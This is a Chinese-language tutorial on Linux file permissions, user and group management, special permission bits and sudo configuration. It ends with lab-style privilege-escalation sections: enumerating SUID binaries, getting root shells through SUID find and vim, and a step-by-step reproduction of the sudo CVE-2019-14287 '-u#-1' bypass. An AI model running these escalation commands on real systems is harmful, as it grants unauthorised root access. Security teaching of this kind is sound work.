Linux 权限管理
权限管理
查看文件或目录权限
长输出格式
-
ls -lh
-
长模式下输出有9个字段
字段数 例 说明 1 drwxr-xr-x. 文件或目录权限 2 2 如果文件类型是文件,表示文件的节点数
如果文件类型是目录,表示子目录的个数3 root 所有者的名字 4 root 所有组的名字 5 137 文件大小 注意:不是目录的大小。 6
7
8Feb
23
10:25文件最后一次修改时间 9 Desktop 文件或者目录的名字
权限字段解释
-
文件或目录权限,以含义分隔,分为5 个字段(列)。
d rwx r-x r-x . # - 代表没有响应的权限
字段数 示例 含义 说明 1 d 文件类型 - 文件
d 目录
l 符号链接
c 字符型设备
b 块设备2 rwx 所有者权限 u 所有者 3 r-x 所属组的权限 g 所属组 4 r-x 其他用户的权限 o 其他用户 5 . -
权限表达方式说明:
权限 文件 目录 r 读取文件内容 列出目录内容 w 修改文件内容 创建、删除目录中的文件(需要有 x 权限) x 执行程序或脚本 可以进入该目录 执行目录的 w 权限,需要有对目录的 x 权限
八进制赋权法
-
八进制赋权法,即用八进制数表达文件或者目录的权限,这种表达方式精炼方便。
- 给读权限赋值为4,即
r = 4
; - 写权限赋值为2,即
w = 2
; - 执行权限赋值为1,即
x = 1
。
权限位 2 进制 8 进制 — 000 0 –x 001 1 -w- 010 2 -wx 011 3 r– 100 4 r-x 101 5 rw- 110 6 rwx 111 7 - 给读权限赋值为4,即
-
常见权限:
-
777,最高权限;
111111111
rwxrwxrwx
所有者 rwx,所属组 rwx,其他用户 rwx
-
755,可执行文件;
111101101
rwxr-xr-x
所有者 rwx,所属组 rx,其他用户 rx
-
644,文档文件。
110100100
rw-r–r–
所有者 rw,所属组 r,其他用户 r
-
664
110110100
rw-rw-r–
所有者 rw,所属组 rw,其他用户 r
-
权限修改
- 对文件或目录进行权限设置,一定程度上保证安全性。
- 只有文件或者目录的所有者才能赋权,root 除外。
- 一般情况下,通过chmod 命令进行权限修改或调整。
chmod
-
chmod 命令有固定的使用格式,如下:
chmod 对象 运算符号 权限 文件或者目录
例
chmod 777 /tmp/test.txt # 赋予 test.txt 最高权限
chmod o-x test# # 撤销其他用户对 test 文件的执行权限命令
-
权限运算说明:
对象 运算符号 权限 u 所有者
g 所属组
o 其他用户
a 所有用户+ 赋权
- 撤权
=r
w
x
t
s -
权限从左向右匹配,先匹配先生效
如权限
---rw-r--
从左向右匹配权限,前三个字符表示文件所有者的权限为
---
,所有者对该文件无任何操作权限,尽管文件所有者所在组对文件有读写权限,文件所有者依然无对此文件的读写权限
操作示例
Linux 用户与组管理
-
创建一个名为bk2304 的组,组id 为2000
groupadd bk2304 -g 2000 # 创建组并指定组 id tail -1 /etc/group # 查看组文件最后一行(新建的组)
-
创建一个名为bk2305 的组,组id 为2001
groupadd bk2305 -g 2001 tail -1 /etc/group
-
创建 tom 用户,指定 uid 为1500,基本组为bk2304,附加组为bk2305
useradd tom -u 1500 -g bk2304 -G bk2305 # 新建用户 tom 并指定 uid,通过组名指定基本组 g 和附加组 G tail -1 /etc/passwd # 查看用户文件中新建的用户 id tom # 查看用户 id 和组 id
-
创建 jerry 用户,指定uid 为1501,基本组为bk2304,附加组为bk2305
useradd jerry -u 1501 -g 2000 -G 2001 # 新建用户 jerry 并指定 uid,通过组 id 指定基本组 g 和附加组 G tail -1 /etc/passwd # 查看用户文件中新建的用户 id jerry # 查看用户 id 和组 id tail -1 /etc/group # 查看组中的用户
-
为 tom 用户和 jerry 设定密码
passwd tom
passwd jerry
-
修改tom 用户的密码最长有效期为90
passwd -x 90 tom passwd -S tom
-
锁定 jerry 用户的密码
passwd -l jerry passwd -S jerry
权限
文件权限
-
非 root 用户
-
新建文件
touch test.txt ls -l test.txt
-
撤销所有者读取权限
chmod u-r test.txt ls -l test.txt cat test.txt
-
测试写入权限
echo "hello" >> test.txt
-
撤销写权限,赋予读取权限,查看刚刚写入的内容
chmod u-w,u+r test.txt cat test.txt echo "can i write?" >> test.txt
目录权限
-
切换 root 用户,/tmp 下创建目录 rootdir
mkdir /tmp/rootdir
-
在 /tmp/rootdir/ 下新建文件 root.txt 并写入 “this is from root”
echo "this is from root" > /tmp/rootdir/root.txt
-
切换普通用户,尝试进入 /tmp/rootdir 目录,并新建文件 gjl.txt
su gjl cd /tmp/rootdir touch gjl.txt ls -ld /tmp/rootdir # 提示权限被拒绝,无对文件夹的写入权限
-
切换 root 用户,修改其他用户对 /tmp/rootdir 的权限为0
su root chmod o=--- /tmp/rootdir ls -ld /tmp/rootdir
-
切换普通用户,尝试进入 /tmp/rootdir 目录
su gjl cd /tmp/rootdir ls -lhd /tmp/rootdir # 提示权限被拒绝,查看权限,显示无执行权限,不可进入目录
-
使用 root 用户将目录夹其他用户的权限设置为
r--
其他用户只可列出目录内容而无法进入或输入内容
文件或目录所有者
-
查看文件所有者
ls -l
-
改变文件所属
chown <修改后的所属者> <目标文件或者目录> -R,递归修改 #例 chown ggg /tmp/test.txt
当 ggg 用户将建立的文件的所属权给 root 后,查看文件权限
虽然 ggg 无写的权限,但 ggg 所在组拥有写的权限(权限从左向右匹配,先匹配的生效)
特殊权限位
粘滞位(t)
-
粘滞位仅对目录有效,在具备粘滞位旗标的目录中创建的文件,只有所有者能够删除。
-
针对others其他用户
-
查看 /tmp 文件的权限
权限显示为
drwxrwxrwt.
ls -ld /tmp
-
设置粘滞位
chmod o+t <目录名>
-
操作示例
-
tom 用户在 /tmp 下新建 tom 目录,并查看目录权限
su tom cd /tmp mkdir tom ls -ld tom
此时 tom 文件目录并无粘滞位
-
赋予其他用户全部权限,在 tom 目录中新建文件 tom.txt 并写入 “i am tom”
chmod 777 tom ls -ld tom cd tom echo "i am tom" > tom.txt chmod 777 tom.txt
-
登录其他用户,尝试修改,删除 tom.txt 文件,发现可以修改删除
su ggg echo "test" >> tom.txt cat tom.txt rm tom.txt ls
-
重复上面步骤,切换到 tom 用户,在 tom 目录下新建 tom.txt,并写入 “i am tom”,赋予 tom.txt 最高权限,为 tom.txt 文件的父目录 tom 添加粘滞位
echo "i am tom" > tom.txt chmod 777 tom.txt cd .. chmod o+t tom
-
切换到 ggg 用户再次尝试对 tom.txt 文件修改删除
echo "test" >> tom.txt rm tom.txt
发现可以对文件进行修改而无法删除
-
SGID
-
对目录有效,在目录中建立的文件或目录属组会继承父目录的属组
-
针对所在组
-
修改
chmod g+s <目录名> # 在此目录中创建的文件属于此目录所属的组
cd /tmp mkdir ggg ls -lhd ggg su root touch ggg/test1.txt ls -l ggg su ggg chmod g+s ggg su root touch ggg/test2.txt ls -l ggg ls -lhd ggg
SUID
-
可用于提权
-
对可执行文件有效,当一个可执行文件具有SUID 标志,无论哪个用户运行该文件(命令),谁就具有该文件所有者的权限。
-
针对文件所有者
-
赋予 SUID 权限
chmod u+s <文件名>
SUID 提权
一般情况下,命令的所有者大多数是 root 用户;
如果命令具有suid 标志,就意味着命令在执行期间具有 root 权限;
攻击者就可以利用 suid 进行提权,比如find | vim | git | nmap…
查找具有特殊权限位 SUID 的文件(命令)
find / -perm -4000 2>/dev/null # 或 find / -perm -u=s -type f 2>dev/null
-
例
find
提权chmod u+s /usr/bin/find # 赋予 find 特殊权限位 find /tmp -exec "whoami" \;
当 find 命令赋予了 SUID 权限位且 find 命令的所有者为 root 时,通过 find 调用其他命令则在执行其他命令时,其他命令拥有同 find 命令的 root 权限
-
例 vim 提权
赋予 vim 特殊权限位 SUID
which vim # 查找 vim 位置 chmod u+s /usr/bin/vim ls -l /usr/bin/vim # 赋予 find 特殊权限位
在末行模式输入
!<命令>
即可以 root 身份执行命令(不是所有系统都可以提权)
sudo
概述
-
命令解释
Linux 是多用户多任务的分时操作系统,共享该系统的用户往往不只一个。考虑到 root 账户密码的敏感性和 root 账号的无限制权限,有必要采取如下措施:
- 通过 useradd 创建一些普通用户,只让他们拥有不完全的权限。
- 在必须使用 root 用户执行命令的情况下,需要申请 root 权限。
sudo 命令就是来解决这个需求的。
-
申请 root 身份,特权执行某个命令
-
一般情况下,使用 sudo 都是在申请 root 用户身份特权执行某一个命令,要求输入密码时,输入的是当前用户密码。
-
具体某一个用户可以以哪一个用户身份执行某一个命令,是需要配置的。
sudoers
-
配置文件/etc/sudoers 是 sudo 命令的配置文件,编辑该文件需要使用专用的编辑器 visudo。visudo 用法与 vim 类似。
-
典型配置文件格式:
[root@localhost ~]# grep -n "^root" /etc/sudoers root ALL=(ALL) ALL [root@localhost ~]#
配置文件sudoers 关于权限的配置,大概分为5 个字段,具体含义如下:
示例 字段 含义 root 1 授权用户 | 组 ALL 2 主机 (ALL:ALL) 3 (用户:组) 授权用户可以以此用户身份特权执行命令。
(ALL:!root) 除 root 用户NOPASSWD: 4 是否需要输入密码验证 ALL 5 命令1,命令2,… 配置示例,用户 ggg 可以以登录在任何地址的任何用户身份特权执行whoami 和id 命令,并且没有密码保护。
[root@localhost ~]# grep -n "^ggg" /etc/sudoers ggg ALL=(ALL:ALL) NOPASSWD: /usr/bin/whoami,/usr/bin/id [root@localhost ~]#
sudo提权
-
ggg 以 root 用户身份执行命令
visudo # 添加配置 ggg ALL=(ALL:ALL) NOPASSWD: /usr/bin/whoami,/usr/bin/id #切换到 ggg 用户查看权限 sudo -l # sudo 提权 sudo -u root whoami # 或 sudo -u#uid whoami
前提:/etc/sudoers 文件中需要允许 ggg 用户
whoami
命令
CVE-2019-14287 漏洞复现
-
sudo -u#uid whoami
sudo -uid#-1 whoami # root 权限
-
当 sudoers 文件中的规则使用了 “!” 符号来限制用户对某些命令的执行时,该漏洞就会出现。如果 sudoers 文件中存在类似以下的规则:
ggg ALL=(ALL,!root) /usr/bin/whoami
上述规则的意思是允许用户 ggg 以任何身份执行
/usr/bin/whoami
命令,但不允许以 root 身份执行。然而,由于逻辑错误,当用户 ggg 在执行命令时,使用了以下方式:
sudo -u#-1 /usr/bin/whoami
其中
-u#-1
的含义是指定要切换到的用户的 ID,而-1
表示用户 ID 为 -1,即特殊的 ID,通常是 root 用户的 ID。这个逻辑错误导致 sudo 在解析命令时,将
-1
解析为用户 ID,而不是作为无效的用户 ID。因此,sudo 将以 root 用户的身份执行/usr/bin/whoami
命令,绕过了原本的限制。这样一来,用户 ggg 就能以 root 用户的身份执行
/usr/bin/whoami
命令,从而提升了特权 -
漏洞复现
-
切换到 root 用户,并为 ggg 用户新建一条权限配置
su root visudo ggg ALL=(ALL,!root) /usr/bin/whoami,/usr/bin/id
保存并退出
-
切换到 ggg 用户
尝试以 root 用户的身份运行
whoami
和id
命令cd ggg sudo -u root whoami sudo -u root id sudo -u#0 whoami sudo -u#0 id
提示不允许
-
利用漏洞使用
-u#-1
执行命令sudo -u#-1 id sudo -u#-1 whoami
提权成功
-